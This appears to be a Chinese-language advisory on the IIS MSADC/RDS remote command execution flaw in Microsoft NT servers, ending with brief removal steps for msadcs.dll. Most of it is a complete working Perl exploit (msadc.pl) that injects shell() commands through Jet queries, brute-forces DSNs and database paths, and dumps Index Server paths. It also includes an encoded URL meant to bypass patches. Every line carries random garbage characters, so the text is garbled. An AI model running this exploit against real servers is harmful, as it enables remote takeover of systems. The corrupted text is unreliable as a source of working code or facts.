IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
r<K(jG[:{f Pa{%\dsv 涉及程序：
zaah^.MA| Microsoft NT server
MYla OT ^Wc@oa` 描述：
0Uo\wyd 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J 4Nl n AtdlZ 详细：
2] zq#6i x 如果你没有时间读详细内容的话，就删除:
.Xce9C0SW c:\Program Files\Common Files\System\Msadc\msadcs.dll
( M7 pT 有关的安全问题就没有了。
x|mqL -Q f <_3b1VhZ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
|&FkksNAl\ wQe_vY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Pa~)"u 8 关于利用ODBC远程漏洞的描述，请参看:
~(Q)"s\1I `J zp Sw http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @&X|5p"[g -7S g62THS 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Ezr:1 GJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp /lo2y?CS* k 9L? +PD 这里不再论述。
U@-^C"R vH#huZA?7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
g=;% |2abmuR0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
W}5xmz 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
kL$!E9 B?4boF ?~ xL{a #将下面这段保存为txt文件，然后: "perl -x 文件名"
vU767/ 95YL]3V #!perl
%] >KvoA #
pgO QIzu # MSADC/RDS 'usage' (aka exploit) script
@^T1XX #
_~piZmkG$ # by rain.forest.puppy
nHm}zOLc #
MFb9H{LA # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O U8Lldt # beta test and find errors!
Wzw7tLY._ ,QcF|~n use Socket; use Getopt::Std;
=K6($|'= getopts("e:vd:h:XR", \%args);
Xz Il`eH j#+!\ft5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S ,Xnzrz ?)u@Rf9> if (!defined $args{h} && !defined $args{R}) {
CaL\fZ print qq~
(+B5|_xQu Usage: msadc.pl -h <host> { -d <delay> -X -v }
=>M^02" -h <host> = host you want to scan (ip or domain)
r7b1- -d <seconds> = delay between calls, default 1 second
5*1D$mxD" -X = dump Index Server path table, if available
+R|z{M)* -v = verbose
;
mZW{j -e = external dictionary file for step 5
!4^C #{$ m^b Nuo Or a -R will resume a command session
MO n 8P 1=[i] ~; exit;}
',:*f8Jk `[W[H(AjQ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k~j P'aD if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&ge "x{,? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
hJZV}a| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y *fDwd~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fp+gyTnd3 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H[S %J3JI qYlhlH D if (!defined $args{R}){ $ret = &has_msadc;
T~Gvp0r}h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
U-R6xxPZ `QyO`y=?[Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{&\jW!&n . "cmd /c ";
=5kY6%E7c $in=<STDIN>; chomp $in;
SV2M+5#; $command="cmd /c " . $in ;
UE$UR#T'w 5 N#3a0) if (defined $args{R}) {&load; exit;}
)? X-(4 v
8$>r wB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(=* cK-3 &try_btcustmr;
R,pX:H&#+ O"F_* print "\nStep 2: Trying to make our own DSN...";
k 3) dEH1z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r\/9X}y4z UFp,a0| print "\nStep 3: Trying known DSNs...";
[%77bv85.G &known_dsn;
x
"^Xj]- ,u`B<heoLU print "\nStep 4: Trying known .mdbs...";
{
S3ZeN,kZ &known_mdb;
$`)/0{qY- vTlwRG=5 if (defined $args{e}){
L#+ q]j+ print "\nStep 5: Trying dictionary of DSN names...";
1 D<_N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
J"=vE= .HkL2m print "Sorry Charley...maybe next time?\n";
?TU }~} exit;
STxKE %l 9J9) AV ##############################################################################
fjs
[f'L Q\
U:~g3 sub sendraw { # ripped and modded from whisker
iZaI_\"__ sleep($delay); # it's a DoS on the server! At least on mine...
<gJU?$ my ($pstr)=@_;
?kB2iU_f+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W9D86] 3Y die("Socket problems\n");
j( R WO if(connect(S,pack "SnA4x8",2,80,$target)){
E )5E$ select(S); $|=1;
=jX8 .K4] print $pstr; my @in=<S>;
2JJ"O|Ibz select(STDOUT); close(S);
L1Iz<> return @in;
Ah k8 } else { die("Can't connect...\n"); }}
E#u l IgD }Ub6eXf(2 ##############################################################################
%jJ>x3$F kH]yl
2 sub make_header { # make the HTTP request
fO0XA"= my $msadc=<<EOT
Hhari!R XC POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
2@%$;. User-Agent: ACTIVEDATA
FE2f'e Host: $ip
&Ncz v"TM Content-Length: $clen
m0c P ( Connection: Keep-Alive
rzh#CnL3 !+L/Khw/ C ADCClientVersion:01.06
]y ,==1To Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?i06f,- `eIenA --!ADM!ROX!YOUR!WORLD!
f"u%J/e & Content-Type: application/x-varg
W!6qqi{ Content-Length: $reqlen
.)<(Oj|4 rz@=pR : EOT
-lhLA`6_R ; $msadc=~s/\n/\r\n/g;
WC.t_"@ return $msadc;}
o[cV 1G LAd\ Tvms ##############################################################################
,0hA'cp JWMpPzs sub make_req { # make the RDS request
S%yd5<%_ my ($switch, $p1, $p2)=@_;
a^ =-Mp my $req=""; my $t1, $t2, $query, $dsn;
3WUT I( yjhf
if ($switch==1){ # this is the btcustmr.mdb query
:&:JTa1cv $query="Select * from Customers where City=" . make_shell();
$aN&nhoO < $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
21< j \
M $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/)4I|"}R0I +TQ47Z c elsif ($switch==2){ # this is general make table query
hA33K #bC $query="create table AZZ (B int, C varchar(10))";
*g[^.Sg $dsn="$p1";}
OU/MiyP2 >]W)'lnO elsif ($switch==3){ # this is general exploit table query
> 3 &: 5 $query="select * from AZZ where C=" . make_shell();
o9F/y=.r= $dsn="$p1";}
K00
87}H q~*t@ elsif ($switch==4){ # attempt to hork file info from index server
qU#BJON]BR $query="select path from scope()";
3 AsT $dsn="Provider=MSIDXS;";}
`kU/NKq \U[ {z&]~ elsif ($switch==5){ # bad query
D,g1<:< $query="select";
nSkPM 5\TI $dsn="$p1";}
qUOKB6 C@bm $t1= make_unicode($query);
o]p|-<I Q $t2= make_unicode($dsn);
VxXzAeM $req = "\x02\x00\x03\x00";
^9 ePfF)5 $req.= "\x08\x00" . pack ("S1", length($t1));
~R &;v3 $req.= "\x00\x00" . $t1 ;
#_(jS+lP?k $req.= "\x08\x00" . pack ("S1", length($t2));
5J Lu2P $req.= "\x00\x00" . $t2 ;
#:^YI
c $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:@!ic<p return $req;}
l?F b ='# @ )-$kk* ##############################################################################
&d5ia+ # <~n$1aA sub make_shell { # this makes the shell() statement
G F5^\Rf return "'|shell(\"$command\")|'";}
E5N{j4\F QNxl/y\l0 ##############################################################################
$.GOZqMs ;Hj~n+ sub make_unicode { # quick little function to convert to unicode
bf!M#QOk? my ($in)=@_; my $out;
tX"Th'Qi for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,I_^IitN return $out;}
Hf vTxaK Ie4 hhW ##############################################################################
HjGyj/78w ]f_6 '|5 A sub rdo_success { # checks for RDO return success (this is kludge)
9> g, my (@in) = @_; my $base=content_start(@in);
'I /aboDB if($in[$base]=~/multipart\/mixed/){
st k9Ah return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]s GHG^I6 return 0;}
K%X^n>O7C ,$
^C4I ##############################################################################
aN $}? +C(/ Lyo} sub make_dsn { # this makes a DSN for us
^-[ ?#] my @drives=("c","d","e","f");
gW1b~(
fD print "\nMaking DSN: ";
%0mMz.f foreach $drive (@drives) {
SJ};TEA
print "$drive: ";
vJU*>U, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
' ^F Gc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lME)?LOI . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/M*a,o $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@;H,gEH^ return 0 if $2 eq "404"; # not found/doesn't exist
p$x{yz3 if($2 eq "200") {
E)9yH\$6 foreach $line (@results) {
wlEo"B A
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I W% |G } return 0;}
Q]w&N30 \0H's{uek ##############################################################################
+ke1Cn'[ *mMEl]+ sub verify_exists {
W!"}E%zx my ($page)=@_;
MiRdX#+Y my @results=sendraw("GET $page HTTP/1.0\n\n");
x"CZ]p&m return $results[0];}
}A:<%N \C`~S7jC ##############################################################################
nY t/U\n! a
/:@"&Y sub try_btcustmr {
-p E(_ my @drives=("c","d","e","f");
pOrWg@<\L my @dirs=("winnt","winnt35","winnt351","win","windows");
Xe^Cn
R ,s_T pq foreach $dir (@dirs) {
OHflIeq#@ print "$dir -> "; # fun status so you can see progress
H=\!2XS foreach $drive (@drives) {
)5.C]4jol print "$drive: "; # ditto
W{ rt8^1 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&%_& 8DkG $reqlenlen=length( "$reqlen" );
@j4 U^"_QB $clen= 206 + $reqlenlen + $reqlen;
T1r3=Y4 jh.@ - my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`r_m+] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
k~|-gf FP else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D Kw*~0 (} 5S ##############################################################################
h#hxOVl%x 2*w:tT8+X sub odbc_error {
]l(wg] my (@in)=@_; my $base;
q9^ my $base = content_start(@in);
&k1T08C* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R3!@? mcr $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Cua%1]"4w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e[ Jem5C $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E3 *\
^Q_ return $in[$base+4].$in[$base+5].$in[$base+6];}
,~);EC=` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\6 93 kQ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ee/&/Gt $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ej O}t:}P /^ " 83?_ ##############################################################################
toaYsiIkzW $DP&a1'g sub verbose {
Na\WZSu'" my ($in)=@_;
atW' return if !$verbose;
Go&D[# print STDOUT "\n$in\n";}
@y/wEBb {q3H5csFq ##############################################################################
wM _
6{ @Fpb-Qd" sub save {
-.|4Y#b:& my ($p1, $p2, $p3, $p4)=@_;
\Fe_rh open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:Yj) CGl$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
3F#+~^2 close OUT;}
Z^9/v )C. yF)Ql ##############################################################################
0liR x#N-&baS sub load {
HSIv Whg?p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]O:N-Y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8V-\e?&^ @p=<IN>; close(IN);
c=6Q%S $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
RuG-{NF{F $target= inet_aton($ip) || die("inet_aton problems");
"aF8l<1xn print "Resuming to $ip ...";
cM_ Fp $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z h/Uu6 if($p[1]==1) {
e62Dx#IY $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%G@5!|J $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
6st^4S5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NA.1QQ ;e if (rdo_success(@results)){print "Success!\n";}
6UE(f@ else { print "failed\n"; verbose(odbc_error(@results));}}
TFepxF elsif ($p[1]==3){
CVi`bO 4\ if(run_query("$p[3]")){
YOAn4]j print "Success!\n";} else { print "failed\n"; }}
c:l]=O elsif ($p[1]==4){
2 /y}a#s if(run_query($drvst . "$p[3]")){
oR*=|B print "Success!\n"; } else { print "failed\n"; }}
K$
v"Uk exit;}
~=Ncp9ej# rz(0:vxwA ##############################################################################
Q8MS ,7y/ T|"7s PgGR sub create_table {
? /JBt
/b my ($in)=@_;
Fn^C{p^ $reqlen=length( make_req(2,$in,"") ) - 28;
GyC /_ntn $reqlenlen=length( "$reqlen" );
- /c7 n F $clen= 206 + $reqlenlen + $reqlen;
%k0EpJE% my @results=sendraw(make_header() . make_req(2,$in,""));
dP>w/$C} return 1 if rdo_success(@results);
IF@HzT;Q my $temp= odbc_error(@results); verbose($temp);
L z\UZeq return 1 if $temp=~/Table 'AZZ' already exists/;
L;Q Y<b return 0;}
wVq\FY% GPWr>B.{:S ##############################################################################
>x[`;O4 w G8We z% sub known_dsn {
"*7C`y5&P # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1>r ,vD& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
gq5qRi`q "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$A$@|]} p "banner", "banners", "ads", "ADCDemo", "ADCTest");
+3,|"g:: #~ Q8 M*~@ foreach $dSn (@dsns) {
F pt-V print ".";
&&L"&Rc next if (!is_access("DSN=$dSn"));
4 UAvw if(create_table("DSN=$dSn")){
zx1:`K0bi print "$dSn successful\n";
n$2 RCQ if(run_query("DSN=$dSn")){
\nqo%5XL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&gc `<kLu print "Something's borked. Use verbose next time\n";}}} print "\n";}
Vdn.)ir~P 9zgNjjCl] ##############################################################################
%So] 3;' P= H+ # sub is_access {
yW.COWL=) my ($in)=@_;
L<(VG{)Z $reqlen=length( make_req(5,$in,"") ) - 28;
l> v{ $reqlenlen=length( "$reqlen" );
J Lb6C 52 $clen= 206 + $reqlenlen + $reqlen;
Q;nAPS my @results=sendraw(make_header() . make_req(5,$in,""));
mo1
puU my $temp= odbc_error(@results);
Icp0A\L@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:[M[( return 0;}
[$ : e@F|NCQ.9 ##############################################################################
;5 <-) tLcEl'Eo sub run_query {
0>!/rR7 my ($in)=@_;
WP-jtZ?!" $reqlen=length( make_req(3,$in,"") ) - 28;
I"xWw/ Ec $reqlenlen=length( "$reqlen" );
,f:
jioY $clen= 206 + $reqlenlen + $reqlen;
Q1>zg, r my @results=sendraw(make_header() . make_req(3,$in,""));
AH.9A_dG return 1 if rdo_success(@results);
/'y5SlE[J my $temp= odbc_error(@results); verbose($temp);
i=v]:TOu return 0;}
z L s^,x j.3o W ##############################################################################
,2 WH/" )%du@a8 sub known_mdb {
#1$}S=8*f my @drives=("c","d","e","f","g");
"u u)2Xe my @dirs=("winnt","winnt35","winnt351","win","windows");
6kv V my $dir, $drive, $mdb;
hb uZaxo< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dyQh:u
- 4Y
tk!oS` # this is sparse, because I don't know of many
~hURs;Sb my @sysmdbs=( "\\catroot\\icatalog.mdb",
GH'O! } "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{TZE/A3D, "\\system32\\certmdb.mdb",
N_C_O $j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
<?$kI>Ot H?}wl% my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Kla:e[{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
um8AdiK "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^{[`=P'/ "\\cfusion\\cfapps\\security\\realm_.mdb",
U
5`y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
FsCwF&/q "\\cfusion\\database\\cfexamples.mdb",
zj]b&In6; "\\cfusion\\database\\cfsnippets.mdb",
QJ];L7Hbo "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
# bX~=` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Jm![W8L "\\cfusion\\brighttiger\\database\\cleam.mdb",
Sb^
b)q" "\\cfusion\\database\\smpolicy.mdb",
+Z? [M1g "\\cfusion\\database\cypress.mdb",
q|q:: q* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[H caw
"\\website\\cgi-win\\dbsample.mdb",
@)sc6
*lnW "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
$
u2Cd4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_1JmjIH)M ); #these are just
Wp*sP Z foreach $drive (@drives) {
)
YSh D foreach $dir (@dirs){
5_G'68;OV foreach $mdb (@sysmdbs) {
L? ;/cO^ print ".";
,0T)Oc|HL/ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-
8syjKTg print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<q7s`,rG if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
\7E`QY4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0~xaUM` } else { print "Something's borked. Use verbose next time\n"; }}}}}
X} apxSd"
$e /*/. foreach $drive (@drives) {
#J+\DhDEPO foreach $mdb (@mdbs) {
uFe'$vI print ".";
?~qC,N [ if(create_table($drv . $drive . $dir . $mdb)){
_hoAW8i print "\n" . $drive . $dir . $mdb . " successful\n";
ida*]+ ~ if(run_query($drv . $drive . $dir . $mdb)){
11*"d# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
|h1^G v } else { print "Something's borked. Use verbose next time\n"; }}}}
tL8't]M, }
g)M#{"H P $h;SK ##############################################################################
-fM1$/] }W
"(c YN_ sub hork_idx {
v:P!(`sF print "\nAttempting to dump Index Server tables...\n";
i$#,XFFp~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
;a{r Wz1Wm $reqlen=length( make_req(4,"","") ) - 28;
,cQ)c Y[ $reqlenlen=length( "$reqlen" );
d]k=' $clen= 206 + $reqlenlen + $reqlen;
zXgkcq) my @results=sendraw2(make_header() . make_req(4,"",""));
#D:Rhqj K if (rdo_success(@results)){
|!re8|JV_ my $max=@results; my $c; my %d;
\|! gPc%s for($c=19; $c<$max; $c++){
u '@ Ely $results[$c]=~s/\x00//g;
9}whWh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&5/JfNe3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&^ceOV0+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Ak|b0l>^ $d{"$1$2"}="";}
&9 h foreach $c (keys %d){ print "$c\n"; }
n49s3|#)G } else {print "Index server doesn't seem to be installed.\n"; }}
>PH< N w rK#lh 2 ##############################################################################
ork|yj/A ZPYH#gC& T sub dsn_dict {
j@g!R!7) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Ge9}8 while(<IN>){
#f 9qlM32
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
t|".=3%G next if (!is_access("DSN=$dSn"));
<"a e4 if(create_table("DSN=$dSn")){
14u^[M" U print "$dSn successful\n";
j}RM. C\7 if(run_query("DSN=$dSn")){
! ZA}b [ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q/J3cXa{K print "Something's borked. Use verbose next time\n";}}}
(v|`LmV print "\n"; close(IN);}
f }-v % 9YA^ri ##############################################################################
67
O<*M wKrdcWI,Z sub sendraw2 { # ripped and modded from whisker
L3>4t: 8 sleep($delay); # it's a DoS on the server! At least on mine...
P59 uALi my ($pstr)=@_;
/ ~"AG l. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9> zD Jx die("Socket problems\n");
}Y$VB%&Hy if(connect(S,pack "SnA4x8",2,80,$target)){
T@ >6 3 print "Connected. Getting data";
Z[bv0Pr open(OUT,">raw.out"); my @in;
^B6`e^ < select(S); $|=1; print $pstr;
JSUzEAKe while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~:s!].H close(OUT); select(STDOUT); close(S); return @in;
^1vq{/ X } else { die("Can't connect...\n"); }}
y ( ldO;. 6%z`)d ##############################################################################
'&{(:,!B kz|[*%10 sub content_start { # this will take in the server headers
3V!W@[ }: my (@in)=@_; my $c;
@+Pf[J41 for ($c=1;$c<500;$c++) {
I$F\ (]"@ if($in[$c] =~/^\x0d\x0a/){
(F_7%!g1d if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2O^32TdS else { return $c+1; }}}
I>8 Bc return -1;} # it should never get here actually
?/ ^VOj4& vkh;qPD ##############################################################################
L;kyAX@^ <|wmjW/ D sub funky {
MbM :3 my (@in)=@_; my $error=odbc_error(@in);
VN!^m]0 if($error=~/ADO could not find the specified provider/){
00R % print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ir"* iL= exit;}
hiT9H5 6 > if($error=~/A Handler is required/){
U bpg92 print "\nServer has custom handler filters (they most likely are patched)\n";
W|FNDP0 exit;}
ud!r*E if($error=~/specified Handler has denied Access/){
C= M? print "\nServer has custom handler filters (they most likely are patched)\n";
FJ nG<5Rh exit;}}
MEDskvBG AZ}%MA; q ##############################################################################
/}[zA@ ..]B9M. sub has_msadc {
c
'/2F0y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
b<48#Qy~l my $base=content_start(@results);
8APTk return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Q&tFv;1w6 return 0;}
ba A HP " mn,=V[f ########################
9 eksCxFg 7Ljs4>%l9j chM t5L+5 解决方案：
69 [w/\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
=] 6_{#Z< 2、移除web 目录: /msadc
